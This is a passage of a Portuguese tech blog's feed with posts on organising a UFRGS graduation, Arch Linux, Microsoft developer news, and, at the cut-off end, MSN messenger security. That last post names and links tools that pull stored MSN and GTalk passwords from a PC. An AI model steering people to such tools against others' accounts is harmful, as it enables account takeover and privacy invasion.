/&gt;&lt;h4&gt;Documentos&lt;/h4&gt;&lt;br /&gt;A comissão de formatura sai desse primeiro encontro com vários documentos a serem lidos e entregues. Um deles é o termo de compromisso, onde todos os formandos se dizem cientes dos termos do cerimonial. Como todos os alunos tinham que assinar este documento, foi deixado na secretaria, para facilitar.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Escolha dos homenageados&lt;/h4&gt;&lt;br /&gt;Toda formatura tem:&lt;br /&gt;&lt;br /&gt; * Um técnico administrativo homenageado&lt;br /&gt; * Um ou mais professores homenageados&lt;br /&gt; * Um paraninfo&lt;br /&gt;&lt;br /&gt;A escolha dessas pessoas foi feita por votação. Nossa turma possui uma lista, onde todas as decisões (quando possível) eram votadas. Os nomes foram sugeridos e votados.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Escolha da produtora&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;Nós pedimos orçamentos a várias produtoras e nos deparamos com o seguinte: as produtoras possuem praticamente a mesma média de preços. Normalmente esse preço é por formando e inversamente proporcional ao número de formandos. Ou seja, quanto mais formandos, mais barato sai por formando.&lt;br /&gt;&lt;br /&gt;Para decidir qual das produtoras escolher foi simples: descobrimos qual delas iria fazer a formatura antes da nossa e usamos esta. Assim, poderíamos pedir um desconto, além de diminuir o tempo de setup entre as 2 formaturas. Para conseguir o contato da comissão do outro curso, é só ligar pro salão de atos e pedir.&lt;br /&gt;&lt;br /&gt;Para baratear o custo, algumas coisas foram retiradas do contrato inicial:&lt;br /&gt;&lt;br /&gt; * Algumas produtoras colocam até 5 filmagens. Na nossa, usamos apenas uma (a da própria formatura). Se os formandos fizerem alguma festa conjunta , uma dessas filmagens pode servir para isso. Em alguns casos, também se usa uma das filmagens para a invasão do paraninfo;&lt;br /&gt; * A cesta de presente para os homenageados  foi feita pelos formandos, logo esse ítem foi retirado da lista.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Primeiro encontro entre produtora e formandos&lt;/h4&gt;&lt;br /&gt;Acertado o contrato, marcamos um encontro entre produtora e formandos. Acertamos a forma de pagamento e informamos aos outros formandos o termo do contrato. Usamos a sala do diretorio acadêmico, mas você falar com a secretária do seu curso (ou qualqeur outra pessoa responsável pelas salas) e conseguir a chave de uma delas para esta reunião.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Invasão do paraninfo&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;É como chamam o momento em que o paraninfo é avisado de que foi escolhido. Usualmente, invade-se a sala de aula no momento em que ele esa dando aula para dar o aviso.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Escolha das músicas e ordenamento da entrada&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;Escolhida a produtora, tínhamos que escolher as músicas para a entrada de cada um, assim como a ordem de entrada. Essa tarefa eu deleguei para uma pessoa da comissão que fez o seguinte:&lt;br /&gt;&lt;br /&gt; * Criou uma planilha com o nome e música de cada um&lt;br /&gt; * Pediu para que cada um mandasse seu próprio MP3&lt;br /&gt; * Pediu para dizem quem gostaria de chamar (ou ser chamado por qm)&lt;br /&gt;&lt;br /&gt;Foi criada uma lista final com a ordem de chamada e as músicas. Após ser aprovada, essas músicas foram gravadas em um CD e enviadas à produtora junto com um documento que a mesma pediu.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Homenagem aos pais&lt;/h4&gt;&lt;br /&gt;Há um vídeo na formatura que é passado quase no final chamado "Homenagem aos pais". Neste, são passados vários slides com fotos de cada um dos formandos, quando crianças e quando mais velhos, com os pais. Essas fotos foram pedidas pela comissão e repassadas para a produtora, para o devido vídeo.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Escolha da gráfica&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;Algumas gráficas mandaram orçamentos. Esses orçamentos são mandados para a comissão, já que esta marcou a opção "Comissão" no portal. Algumas gráficas também entram em contato a partir de contatos trocados no sorteio. Decidimos pela mais barata&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Sessão de fotos&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;Um dos ítems do contrato entre os formandos e a produtora é a sessão de fotos. Para isso, reserva-se uma das salas do anexo da reitoria ( o prédio amarelo onde era o SAE, antigo prédio da química). Feita a reserva, a produtora é avisada e leva todo o material necessário para as fotos. Nesse dia é feita também a prova de togas. As fotos são feitas individualmente na sala e coletivamente nas escadas e na pira (o símbolo da UFRGS). Nesse mesmo dia, optamos por gravas os vídeos individuais, uma vez que os discursos individuais foram abolidos. Houve tamé um coquetel - incluso no contrato.&lt;br /&gt;&lt;br /&gt;É interessante usar este dia para coisas que não poderiam ser feitas se não presencialmente, como a assinatura do termo de compromisso entre produtora e todos os formandos.&lt;br /&gt;&lt;br /&gt;Marcamos com um representante da gráfica também para nos encontrar neste dia. Vimos os modelos, escolhemos um e assinamos o contrato. Produtoras e gráficas normalmente se conhecem, então quando uma termina o trabalho, basta avisar dos detalhes para outra.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Convites&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;Quando as fotos da sessão de fotos ficam prontas, é hora de agilizar o convite. A gráfica envia primeiro um layout sem as fotos. Neste layout, depois de aprovado, são inseridas as fotos. É enviada para a gráfica uma tabela contendo o nome do formando, nome do pai e da mãe ( e se um deles é falecido, colocando 'in memoriam'), o número de convites desejado por aquele formando e o nome da foto desejada por ele (já que são tiradas várias fotos individuais, entre combinações  - com barrete e sem, sorrindo ou não). O ideal é que as fotos sejam uniformes, ou seja, todos de barrete ou sem, todos sorrindo ou não. São escolhidas também as fotos coletivas do convite. A gráfica então manda um layout final do convite. Normalmente são enviados conjuntos de JPGs. Eu transformei todas estas figuras em um único PDF (usando pdftk) para depois poder mandar um convite via email.&lt;br /&gt;&lt;br /&gt;A gráfica escolhida por nós não possuía uma modalidade de pagamento por formando. Ao invés disso, um dos membros da comissão teve de receber o pagamento de todos os formandos e repassar à gráfica.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Formatura&lt;/h4&gt;&lt;br /&gt;Enfim, o momento final: a formatura. &lt;br /&gt;&lt;br /&gt;Você deve chegar lá 2h mais cedo. Haverá um estúdio pronto para tirar fotos 1h antes da formatura. &lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Lições aprendidas&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt; * Não seja da comissão sozinho. Arranje mais algumas pessoas que você conheça pela competência e compromentimento. Saiba delegar as tarefas para as pessoas certas;&lt;br /&gt; * Nem sempre as decisões podem ser votadas. Quando necessário, decida entre os membros da comissão e depois comunique para os formandos, justificando suas escolhas, se necessário;&lt;br /&gt; * Controle todas os prazos de documentos. No início, são vários documentos que a comissão deve entregar para diversos órgãos. Para os prazos para os formandos, dê um prazo pelo menos uma semana antes do real, para impedir eventuais atrasos;&lt;br /&gt; * Prepare-se para pessoas querendo entrar no meio da formatura, ou sair dela. Para pessoas que não respeitam os prazos, que mandam coisas na última hora. E acima de tudo, prepare-se para ser cobrado por todos os lados.&lt;br /&gt;&lt;br /&gt;No fim, uma formatura nada mais é do que um projeto, e a comissão, seus gerentes. Como tais, devem gerenciar tempo, escopo e recursos. Os formandos são os stakeholders, e desejam que a formatura esteja dentro de suas expectativas. Preste atenção a todas as reclamações e dúvidas, e responda a todas se possível. Tente se ver do lado de cada um deles. Dê feedback da situação sempre que possível, para mostrar que a comissão está em ação. O tempo são os prazos para entrega de documentos, ou de recursos para a produtora ou gráfica.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-1124191805885624015?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/gPzfs1JqVjkwL1FDHWxwv6GvVTk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gPzfs1JqVjkwL1FDHWxwv6GvVTk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/gPzfs1JqVjkwL1FDHWxwv6GvVTk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/gPzfs1JqVjkwL1FDHWxwv6GvVTk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/jdlDvVaIY9A" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/1124191805885624015/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=1124191805885624015" title="0 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/1124191805885624015?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/1124191805885624015?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/jdlDvVaIY9A/organizando-uma-formatura.html" title="Organizando uma formatura" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2010/09/organizando-uma-formatura.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0AGSH44eSp7ImA9Wx5RFU0.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-8675441947992544854</id><published>2010-08-22T12:30:00.001-07:00</published><updated>2010-08-22T12:35:29.031-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-22T12:35:29.031-07:00</app:edited><title>Novas Postagens?</title><content type="html">Sim, estou devendo algumas postagens nesse blog. Os tópicos planejados são:&lt;br /&gt;&lt;br /&gt; * HTML 5&lt;br /&gt; * UPnP&lt;br /&gt; * IPv6&lt;br /&gt; * Acabar a minh série sobre Arch Linux&lt;br /&gt;&lt;br /&gt;Não escrevi durante esse tempo porque estive ocupado com TCC1/2 e a organização da minha formatura. Mas conforme as coisas vão se resolvendo, eu vou revendo minha lista de prioridades.&lt;br /&gt;&lt;br /&gt;Além do mais, estou a fim de escrever sobre toda a minha experiência à frente da comissão de formatura desse semestre.&lt;br /&gt;&lt;br /&gt;Pra essa nova fase, mudei o design pra algo mais simples. O layout antigo não mostrava textos muito bem.&lt;br /&gt;&lt;br /&gt;Fiquem ligados!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-8675441947992544854?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/rhk8H-Uqy44jkVPyLFNh0t3nX0A/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rhk8H-Uqy44jkVPyLFNh0t3nX0A/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/rhk8H-Uqy44jkVPyLFNh0t3nX0A/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rhk8H-Uqy44jkVPyLFNh0t3nX0A/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/LqwZn5YDj0k" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/8675441947992544854/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=8675441947992544854" title="0 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/8675441947992544854?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/8675441947992544854?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/LqwZn5YDj0k/novas-postagens.html" title="Novas Postagens?" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2010/08/novas-postagens.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0ADQn46cSp7ImA9WxBSFEg.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-3360456969006945772</id><published>2009-12-21T19:03:00.000-08:00</published><updated>2009-12-21T19:16:13.019-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-21T19:16:13.019-08:00</app:edited><title>Instalando Arch Linux - Introdução</title><content type="html">Sim sim! Estou tirando as teias do blog e escrevendo um post novo! O tema escolhido foi "Instalando Arch Linux". Esse tema surgiu durante uma conversa com @fotanus, @marcio_os e e @fmobus, durante a última edição do "Cevas &amp; Blogs". Discutindo sobre as vantagens (e desvantagens) de várias distribuições Linux, contei ao @fotanus sobre minha última (e não muito frutífera) tentativa de instalação do Arch Linux. Depois de algum tempo de ambos mostrando seus pontos (eu não conseguia passar muito além de mostrar um console), resolvi tentar novamente, mas dessa vez documentando todos os passos.&lt;br /&gt;&lt;br /&gt;O objetivo é:&lt;br /&gt;1) Instalar Arck Linux usando APENAS a Wiki (http://wiki.archlinux.org/index.php/Main_Page) ou o fórum(http://bbs.archlinux.org/). Usarei outros sites só em último caso, e explicarei minhas razões para fazê-lo.&lt;br /&gt;2) Ter um sistema completamente funcional (com rede, som e desktop)&lt;br /&gt;&lt;br /&gt;O sistema será instalado do zero dentro de uma máquina virtual (Virtual PC 2007). Faço isso porque não quero correr nenhum risco de ler errado uma instrução não poder bootar mais minha máquina. Caso haja uma tentativa bem sucedida de instalação na máquina virtual, avaliarei se farei o mesmo numa máquina real.&lt;br /&gt;&lt;br /&gt;No próximo post: o que é o Arch Linux, criação da máquina virtual, baixando o Arch Linux, e a primeira parte da instalação.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-3360456969006945772?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/QVnjP8n0VJgLuR0BddBbGfUnqaQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QVnjP8n0VJgLuR0BddBbGfUnqaQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/QVnjP8n0VJgLuR0BddBbGfUnqaQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/QVnjP8n0VJgLuR0BddBbGfUnqaQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/4zQPn9Qon48" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/3360456969006945772/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=3360456969006945772" title="0 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/3360456969006945772?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/3360456969006945772?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/4zQPn9Qon48/instalando-arch-linux-introducao.html" title="Instalando Arch Linux - Introdução" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2009/12/instalando-arch-linux-introducao.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0UGSX4yeip7ImA9WxRQGUk.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-1612817442836888869</id><published>2008-10-13T17:14:00.000-07:00</published><updated>2008-10-13T17:47:08.092-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-13T17:47:08.092-07:00</app:edited><title>Microsoft lanca concurso de desenvolvimento em dispositivos embarcados</title><content type="html">Foi lancado pela Microsoft o &lt;a href="http://dreamdifferentcontest.com/"&gt;desafio "Dare To Dream Different"&lt;/a&gt;, uma competição para desenvolvedores de software criar solução inovadoras para o  &lt;a href="http://microsoft.com/netmf"&gt;Microsoft .NET Micro Framework&lt;/a&gt;, a plataforma de desenvolvimento da Microsoft para dispositivos embarcados (Não confundir com &lt;a href="http://msdn.microsoft.com/en-us/library/f44bbwa1.aspx"&gt;.NET Compact Framework&lt;/a&gt;). Os desenvolvedores podem enviar para ao site uma descrição do dispositivo ideal, e explciar como seria criado tal disposivo dos sonhos usando o  .NET Micro Framework platform. Serão aceitas propostas até 15 de dezembro de 2008. O concurso consiste de 2 categorias: Hobbista e Profissional -- e os 50 semifinalistas em cada categoria irá receber um .NET Micro Framework developer kit, que irá incluir o software e hardware necessário para construir e enviar um protótipo funcionando do seu dispositivo dos sonhos.&lt;br /&gt;&lt;br /&gt;    * Categoria Desenvolvedor Profissional: Os três melhores desta categoria irão receber ajuda e ferramentas para ajudar no início de um negócio própro como Parceiro .NET Micro Framework Microsoft. A soma dos valores dos prêmios desat categoria passam de  $73,000 e incluem dinheiro, desenvolvimento de software, tempo de consultoria com especialistas da Microsoft, e oportunidades promocionais.&lt;br /&gt;&lt;br /&gt;    * Categoria Desenvolvedor Hobbista :  Fale para o mundo sobre a sua criação.  A soma dos valores dos prêmios desat categoria passam de $23,500 e incluem dinheiro, um console Xbox 360,  um MP3 Zune (sujeito a disponibilidade) e produtos promocionais. Os vencedores desta categoria também receberão a oportunidade de incluir a solução vencedora numa campanha de marketing da Microsoft marketing campaign. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Semifinalistas deverão enviar um video demonstrativo do seu protótipo, e os 5 finalistas de cada categoria farão apresentações de seus protótipos antes de um painel de especialistas da indústria. Desses finalistas, três vencedores em cada categora serão anuncaiados em Maio de 2009. &lt;br /&gt;&lt;br /&gt;Para saber mais: &lt;a href="http://dreamdifferentcontest.com/"&gt;Dare to Dream Different Challenge http://dreamdifferentcontest.com/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-1612817442836888869?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2gWz5LeoAJRHb-JLVgJ76jhz_Cw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2gWz5LeoAJRHb-JLVgJ76jhz_Cw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2gWz5LeoAJRHb-JLVgJ76jhz_Cw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2gWz5LeoAJRHb-JLVgJ76jhz_Cw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/usrKWpxiYbg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/1612817442836888869/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=1612817442836888869" title="1 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/1612817442836888869?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/1612817442836888869?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/usrKWpxiYbg/foi-lancado-pela-microsoft-o-desafio.html" title="Microsoft lanca concurso de desenvolvimento em dispositivos embarcados" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2008/10/foi-lancado-pela-microsoft-o-desafio.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE4NSH48cCp7ImA9WxRQGUk.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-6220074935955040253</id><published>2008-10-13T16:28:00.000-07:00</published><updated>2008-10-13T17:09:59.078-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-13T17:09:59.078-07:00</app:edited><title>Visual Studio 2010 e .NET Framework 4.0</title><content type="html">A Microsoft divulgou há algum tempo atrás o &lt;a href="http://msdn.microsoft.com/en-us/vstudio/products/cc948977.aspx"&gt;Visual Studio Team System 2010&lt;/a&gt; no site da MSDN. Dentre os novos recurso destacam se:&lt;br /&gt;&lt;br /&gt;    * Gerenciamento e priorização combinados de projetos de TI por meio da integração com o Microsoft Project Server&lt;br /&gt;    * Gerenciamento de vários projetos para um balanceamento de carga de recursos proativo de acordo com as prioridades do negócio&lt;br /&gt;    * Rastreamento completo (incluindo itens de trabalho hierárquicos) para controlar os produtos de um projeto em relação aos requisitos dos negócios e à capacidade de conduzir uma análise de rápido impacto das alterações propostas&lt;br /&gt;    * Métricas e painéis abrangentes para uma visibilidade compartilhada no status do projeto e progresso em relação aos produtos&lt;br /&gt;    * Novos recursos eficientes para permitir que desenvolvedores e testadores rapidamente identifiquem, comuniquem, priorizem, diagnostiquem e resolvam bugs&lt;br /&gt;    * Gerenciamento de caso de teste integrado para criar, organizar e gerenciar casos de teste nas equipes de desenvolvimento e teste&lt;br /&gt;    * Automação de teste e orientação para ajudar os desenvolvedores e testadores a se concentrarem em testes no nível comercial, em vez de tarefas repetitivas, manuais&lt;br /&gt;    * Métrica de qualidade para uma decisão de aprovar ou não a versão com relação a se um aplicativo está pronto para produção e foi totalmente testado segundo os requisitos comerciais&lt;br /&gt;    * Rápida integração de equipes remotas, distribuídas, desconectadas e terceirizadas no processo de desenvolvimento&lt;br /&gt;    * Fácil personalização de processo e orientação da Microsoft e de parceiros para corresponder à maneira como a qual sua equipe trabalha&lt;br /&gt;    * Suporte integrado para criar pacotes de instalação usando a tecnologia XML do Windows Installer&lt;br /&gt;    * Aprimoramentos na administração de vários servidores, na criação e no controle da origem&lt;br /&gt;&lt;br /&gt;Fonte: http://msdn.microsoft.com/pt-br/vsts2008/products/bb725993.aspx&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-6220074935955040253?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/J6fAsGcEaR1LiarytNGUebCw7IQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/J6fAsGcEaR1LiarytNGUebCw7IQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/J6fAsGcEaR1LiarytNGUebCw7IQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/J6fAsGcEaR1LiarytNGUebCw7IQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/Q7CK37_1JZo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/6220074935955040253/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=6220074935955040253" title="0 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/6220074935955040253?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/6220074935955040253?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/Q7CK37_1JZo/visual-studio-2010-e-net-framework-40.html" title="Visual Studio 2010 e .NET Framework 4.0" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2008/10/visual-studio-2010-e-net-framework-40.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkQHQXozfip7ImA9WxRQGUk.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-6413094078031654562</id><published>2008-10-13T16:18:00.000-07:00</published><updated>2008-10-13T16:25:30.486-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-13T16:25:30.486-07:00</app:edited><title>12 passos para codificar melhor</title><content type="html">Joel Spolsky durante algum tempo trabalhou como Program Manager do time do Excel. Vários dos artigos do seu &lt;a href="http://www.joelonsoftware.com"&gt;blog&lt;/a&gt; são sobre suas experiências dentro da gigante Microsoft. Dentre os vários artigos que gostei, destaco um : &lt;a href="http://www.joelonsoftware.com/articles/fog0000000043.html"&gt;The Joel Test: 12 Steps to Better Code&lt;/a&gt;, que apesar de ser de Agosto de 2000, anda é aplicável nos dias de hoje.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-6413094078031654562?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/wUdtFock3C6BXxA4RHEmxLW4K8c/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wUdtFock3C6BXxA4RHEmxLW4K8c/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/wUdtFock3C6BXxA4RHEmxLW4K8c/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/wUdtFock3C6BXxA4RHEmxLW4K8c/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/Onogm5LANmw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/6413094078031654562/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=6413094078031654562" title="0 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/6413094078031654562?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/6413094078031654562?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/Onogm5LANmw/12-passos-para-codificar-melhor.html" title="12 passos para codificar melhor" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2008/10/12-passos-para-codificar-melhor.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A08CQH87fyp7ImA9WxRQGU4.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-1432322584353163214</id><published>2008-10-04T15:49:00.000-07:00</published><updated>2008-10-13T16:17:41.107-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-13T16:17:41.107-07:00</app:edited><title>Segurança no MSN/Windows Live</title><content type="html">Lendo o &lt;a href="http://www.noticiasdeti.com.br/2008/10/perito-criminal-desenvolve-programa.html"&gt;comentário no blog de um amigo meu sobre uma ferramenta criada por um perito criminal chamado Galileu Batista de Souza, que recupera dados armazenados em mensagens do Windows Live Messenger&lt;/a&gt;, me fiz a mesma pergunta, ja´ sabendo a resposta: "será que já não existe algo parecido"? &lt;br /&gt;&lt;br /&gt;Um pouco de pesquisa e achei o &lt;a href="http://www.nirsoft.net/utils/mspass.html"&gt;MsPass&lt;/a&gt; . Lê passwords do MSN, GTalk e outros programas. Funcionou perfeito no meu PC.&lt;br /&gt;&lt;br /&gt;Outra coisa que me deixou pensativo foi a declaração de que ia tornar sua ferramenta pública. Ora, sites especializados em segurança ja publicam esse tipo de coisa (http://www.securiteam.com/tools/5DP0F20DPG.html e http://www.securiteam.com/tools/5KP0W00KAE.html, este último funcionando muito bem no meu PC), e logs no MSN nunca foram mistério pra ninguém. Listas de contatos são fáceis de se adquirir, uma vez com o password na mão. &lt;br /&gt;&lt;br /&gt;Não há novidade no que as reportagens anunciaram. Se o tal perito tivesse feito alguma ferramenta pra interceptar mensagens em tempo real (como a reportagem sugeriu), ou descobrir como se quebra os paswords dos outros 